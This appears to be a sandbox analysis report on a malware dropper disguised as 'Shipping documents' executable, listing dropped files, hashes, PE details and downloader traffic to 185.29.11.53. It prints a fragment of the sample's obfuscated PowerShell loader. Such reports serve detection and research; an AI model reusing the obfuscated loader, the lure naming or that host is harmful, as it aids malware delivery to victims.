Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3z0ymdb.4qg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3lkhfpk.zu3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.2959870663251625
Encrypted:	false
SSDEEP:	96:JwzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuH0DQ:JTQHDb2vSuOc41ZfUNQZGdHM
MD5:	B4579BC396ACE8CAFD9E825FF63FE244
SHA1:	32A87ED28A510E3B3C06A451D1F3D0BA9FAF8D9C
SHA-256:	01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B
SHA-512:	3A76E0E259A0CA12275FED922CE6E01BDFD9E33BA85973E80101B8025EF9243F5E32461A113BBCC6AA75E40894BB5D3A42D6B21045517B6B3CF12D76B4CFA36A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ze1Ueabtx5.img, Detection: malicious, Browse Filename: Documenti di spedizione 0009333000459595995.exe, Detection: malicious, Browse Filename: 4hIPvzV6a2.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe, Detection: malicious, Browse Filename: 3Dut8dFCwD.exe, Detection: malicious, Browse Filename: Ms63nDrOBa.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse Filename: rSCAN31804.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L...Q.d...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\acneform\Baroco\Andenhaandsvidens.Typ

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	data
Category:	dropped
Size (bytes):	309691
Entropy (8bit):	7.744710277817117
Encrypted:	false
SSDEEP:	6144:cRFGTUnT0cBFL2/DPFEqINjmfKsC1pzEsvRpbqIYuWCB:cjGwT0kkLFEqqYnC1DvRpqJCB
MD5:	B563202661CAE7352789D2700253D473
SHA1:	1474AC798166DF321C9F518F27BA4937B7B49F9A
SHA-256:	803FF2DA19A7E7AD2182E0CBE2E3B3FD79BB998259B8DD5EBCA7E305677D90FD
SHA-512:	F27E1403772AEA0069B50631FE3DA1C64966D8F18BDC54278C55D80212CFEB66AFEA659FD28C97334406935454201C25C01C93364EA0D2F742F53402ADF8AB38
Malicious:	false
Preview:	.............bb............K.....D...:..............'................G.......????......W...................==....oo...................o..---.......9.......W.```.qqq.s.t.....................]]]]]............V...........nnnnn.........wwwww..G.........................................&....$...a..................................!.(.G......m.....S.i.&..E....;..............\............II........ ................................]]].........................W....................................................... .....@@..................M.\................SSS.......................1...................k.................................w..5..oo._____...iiii.....................#..........XXX......---............KKKKK.......TT.....((((.......z......`..........................).ooo...::...bbbbb...AAAA.............................bb................R...............;;....................ss...HHHHHHH..................11.......f........jj.]............................''..........X..........{.z.&...

C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	729960
Entropy (8bit):	7.605589195941063
Encrypted:	false
SSDEEP:	12288:ffLdembnSidCbvZROJ9cDGUugE6X12xKSl1a3qmFLgoXFDsiJjWlWVB0mPH4V:ffLNnSs8r4yDGOE6X12De6mF3XF4i7X2
MD5:	4ECAFA8F623606CAF0A925F5C6B2EB10
SHA1:	59CB79183B9547B3915C8AA09ED904F84BCAB22C
SHA-256:	3FE8F843E696C1DACBDCABED38D7132776915D89B60AC10C68FDA048CBFE044F
SHA-512:	D1DC9A1AF2FDF373893A99F16A6CBE7CF0F5C9C3B77936C8535AD0BBA226542C132F562B30551D9C10EE2EF249160E8AF85867ED3B2601198709D0E977A26323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...l.d.................j..........25............@.......................................@..........................................P...d..............X............................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata.......P...........................rsrc....d...P...f..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	72234
Entropy (8bit):	5.198340110893828
Encrypted:	false
SSDEEP:	1536:0dZHAPk4sNvIJYQwAnGjpWRBonT87MOgNW3W:0dZHAPkT4YOGqoTQoYG
MD5:	D44AF3867FA92AC621815B9DEB75C8DF
SHA1:	71DA815C2858476EECE49E9F2ADC54F8C6B69383
SHA-256:	887A1A4BF80BA10088A729662E66F7322B08E7A119F50A805AF6ACF110827375
SHA-512:	19E56B70F0A3663570007F4532960E43982176658932A97A7A1CD85D063ED47675CA0D41901994A0E9CF50C3A709D4CE038F006A1E82F3058533D2013C67E5BE
Malicious:	false
Preview:	$Patentets=$Pitmark5;<#Hematinuria Misassayed Powerdown Castro #><#Perikonens Stalakitterne Betatesternes Apaesthetic #><#Agnatical Spytningens Gorgonize Betagelser #><#Abdikationerne Editioner Kodeskrifternes Bandolerernes #><#Vaabenmrker Astrophotometrical Afskedigelsessituationerne Plexiglassene Assistants Lochs Bindegal #><#Forblffede Galvanotropic Nonimperialistically Strmpefod Listesituationerne Lifefully forenight #>$Paatraengende = "Conflat;Spe mat`$LaanekagLsni gsrHom genuBitonalnskibsdrdM,nosigmStyringo He.otrdNoninsie Rep bllLacta i= I,cita`$AmalgamS Fore.apkrambo l Hubrise Su depnEucaryooAs ortepsig orsa D,snskrReform eAst tetcTotterrt K ubseaAmfibiemMagteslaOutargu;TriaminfDemocrauUninjurn KoderecOksehaltagendeniundfango SuperpnHumaned Chili dMKluppeniSpaadomsmangania UdrejsuLater,ttUdt renhtullesoo Me,rolrInternaiJakobinzParlameeBatussisHyperth Thre od( Sprout`$KmpemyrPH.taerisPa.ochieHarroweu LegropdTerningoskuren,jSimaroue Hal,iorMa nifiv MyrnasiDurkdrenCertaine dilant,

C:\Users\user\AppData\Local\acneform\Baroco\afplingen.che

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	data
Category:	dropped
Size (bytes):	245776
Entropy (8bit):	1.2423947315855175
Encrypted:	false
SSDEEP:	768:7x19EzEPqdI04IDk5wH/o606sFjlhpHi98oiQErpn6jGW3LSSW1Vn+7xd4R89Z9u:13ujvdGpic/cN2q8+js/5/H
MD5:	9F9EC5CB34B99692A4EAC963634A7D82
SHA1:	5C1C97F3B00365F6CDB43112D31D7DD3AA050870
SHA-256:	7579E3606C789ED66E555D541F14BDA6ECAEA4B2EB7B7BC3A25E7C804B3AB48F
SHA-512:	A574404306396B333F64FC16256C093CA1F2B6CF87E5675ED678F00DE3B899FFE4A95CBA4D1113B9C86B8C46549D06D7AB97930955F921CD73AE37D4067B1EB0
Malicious:	false
Preview:	......................................................{............J...............l....................w...........N....................................................................\.........................................\|.........................{..............i.................................k...............!......&..............................................................................................................."...........................t.:...s............................................................A...................................................................d.........................2.......\|................................................Y............&...............................5.......(................................`..............................*............i..........................................>........................................~.....................................................................................................I

C:\Users\user\AppData\Local\acneform\Baroco\forlggere.bov

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	data
Category:	dropped
Size (bytes):	452228
Entropy (8bit):	1.250842541049128
Encrypted:	false
SSDEEP:	768:qlmssNPVJP2ri6hEVTp7WLL1GEOCTOemgej7kcwntQz2Y1drtNhgCV+AhB/7/dR+:5tvPloD3bnq3TzwesbDEfLeaz6oSzjU8
MD5:	30C2C02FB78EFAA65C6A38457A7DC4F6
SHA1:	40AEF6B9982695F88F0515104BFEEACFAF22FEDA
SHA-256:	CE57C2DEDAA3A0FD5F5C267F3336F5ACB6109D00D31A98D4638D26A77939CEFC
SHA-512:	8AC0B2E7831C801D7C4043195BEFC309F2C79BE719FF0171D0A4E580671EBADD2F737C307A4AAE2E548705CD11B24FE64F07C6E842D7DD5D3CCD88EA677BC7FA
Malicious:	false
Preview:	...........................................t..................................................................................................a..............d...........................o.........................=..#..............0.........<.........0.......................>..........`..........................................................................................:.........u.............................................0.................................C..~.............................................X......................................................"............................f........................................w.................................{............................"..................e........................................f...........l...............................................I............................ Z...........................;.............;.................................u.................................................................%....

C:\Users\user\AppData\Local\acneform\Baroco\rettersted.bef

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	data
Category:	dropped
Size (bytes):	328009
Entropy (8bit):	1.2551228776153396
Encrypted:	false
SSDEEP:	1536:AfCPIKQLWsgBwj5eZNb+h+QkSGkJPsGyksKU:ATKZNbTQkSGky0sKU
MD5:	78C7002A6C29415CEA767894F99BDF01
SHA1:	37B39AF4E61D2A97D1B1AEA54D1C3C3D8C3AD6D8
SHA-256:	414BB9BB930F1269088CF9BF027667E6B9A4130E6E719E7C178406A8C8C3183E
SHA-512:	A39B5656AF287783AB4C5E211C148D2D233AB635E8D8C4870693D31267904E9C94A3BCC07B20F92C55F68BC7E6E2B5F1D22C6ED3F9B3A729CABD14B2E7B58D58
Malicious:	false
Preview:	..............................................A............................................]..............2.................................N.................................................................................................................................i.......................................................................................X............h...................j...........,............)...w....................................R.................................V...............................................................R.../.........................................)...................................................].............................,...v............................................./.......................................`........)........#..........x............H.....................................v..........K..........................................................................................................*............................

C:\Users\user\AppData\Local\acneform\Baroco\xenosaurid.txt

Download File

Process:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.241518252490206
Encrypted:	false
SSDEEP:	6:mTXCFWRbo5FpTNrQNFqqhq48RZ8av8Atp3d6G4bg3pCp+oWKHYAtpcRvFVTZqIMC:0X4OA7aY48MNAtDMeExYAYdfqI1f1o2
MD5:	261F38F05E7DE27DA302C07B62E1F94D
SHA1:	8D495D43FC7A2B40C52B8D31678F24B519257610
SHA-256:	50D950EE2F6CD5D31AAA35B913DC46C8EEE3120B7444EF5EBB302B88851F3328
SHA-512:	62106A1D3608A63C12D6E9A7A00FD775ECD38193B779D4C13E18850230F1C7A1F0BD5DF0602AF5553F24BB0BAD6703BB9DC00C09C14E91DD098CE4EC95050E47
Malicious:	false
Preview:	stulls sprttede trlkvinder materialerne,disciplinerendes antirailwayist topchefs dhyana behovsanalyserne,vager cimnel bonderve debitable karyotin sadelmagervrkstederne samfundskonomien plakatopstning horologe vaner taleruafhaengigt..flimmer carryout arbejdsdisketterne breakaxe vidtaabne elastose.attestationerne mennonist rubicon barogrammerne respectively reddet overretention,brdknivenes yndlingsbog ministate paleogeographically repenalize henriett.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.605589195941063
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Shipping documents 000022999878999800009999.exe
File size:	729'960 bytes
MD5:	4ecafa8f623606caf0a925f5c6b2eb10
SHA1:	59cb79183b9547b3915c8aa09ed904f84bcab22c
SHA256:	3fe8f843e696c1dacbdcabed38d7132776915d89b60ac10c68fda048cbfe044f
SHA512:	d1dc9a1af2fdf373893a99f16a6cbe7cf0f5c9c3b77936c8535ad0bba226542c132f562b30551d9c10ee2ef249160e8af85867ed3b2601198709d0e977a26323
SSDEEP:	12288:ffLdembnSidCbvZROJ9cDGUugE6X12xKSl1a3qmFLgoXFDsiJjWlWVB0mPH4V:ffLNnSs8r4yDGOE6X12De6mF3XF4i7X2
TLSH:	4CF412047FBCD2E3C0D42A7E59B6834B2BF0A25751090F17B214AF5EAC5D2D6950AFE8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...l..d.................j.........

File Icon


Icon Hash:	2b25372d4e5ad12f

Static PE Info

General

Entrypoint:	0x403532
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC6C [Sun Jul 2 02:09:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Ophugningen Maeonides ", O=Raatret, L=Flagstaff, S=Arizona, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	24/12/2023 12:28:21 23/12/2026 12:28:21
Subject Chain	CN="Ophugningen Maeonides ", O=Raatret, L=Flagstaff, S=Arizona, C=US
Version:	3
Thumbprint MD5:	B7FC25FDC76F19849826C649699B6B9B
Thumbprint SHA-1:	3B09DDF7435AE977C88A85277838BE6C095F73D5
Thumbprint SHA-256:	290642CA085C9EE9159E8262A26D3C642EFA1B94CCA16BC01E460C6D1529CC3A
Serial:	197015574DF969D30A05FE16D98927E74E8458B0

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F31FCEC334Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F31FCEC3318h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x65000	0x264e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb1a10	0x958
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68d8	0x6a00	742185983fa6320c910f81782213e56f	False	0.6695165094339622	data	6.478461709868021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	9a9bf385a30f1656fc362172b16d9268	False	0.5247395833333334	data	4.172601271908501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x30000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x65000	0x264e8	0x26600	8c15b9178dda9297a3b68e6314e77cb0	False	0.48827488802931596	data	5.053989943267582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x652c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.4677629244055365
RT_ICON	0x75af0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.5025751524069791
RT_ICON	0x7ef98	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States	0.5306377079482439
RT_ICON	0x84420	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.5394426074633916
RT_ICON	0x88648	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.5737551867219917
RT_DIALOG	0x8abf0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x8acf0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x8ae10	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x8aed8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x8af38	0x4c	data	English	United States	0.8157894736842105
RT_VERSION	0x8af88	0x21c	data	English	United States	0.5388888888888889
RT_MANIFEST	0x8b1a8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T16:00:07.729876+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49720	185.29.11.53	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:00:06.822658062 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.099189043 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.099404097 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.100620031 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.105397940 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729650021 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729682922 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729718924 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729733944 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729751110 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729763985 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.729876041 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.730015039 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811039925 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811064959 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811081886 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811098099 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811109066 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811114073 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811129093 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811130047 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811171055 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811171055 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811266899 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811288118 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811302900 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.811325073 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811325073 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.811342001 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.816481113 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.816494942 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.816510916 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.816544056 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.816591978 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.891544104 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891561031 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891577959 CEST	80	49720	185.29.11.53	192.168.2.6
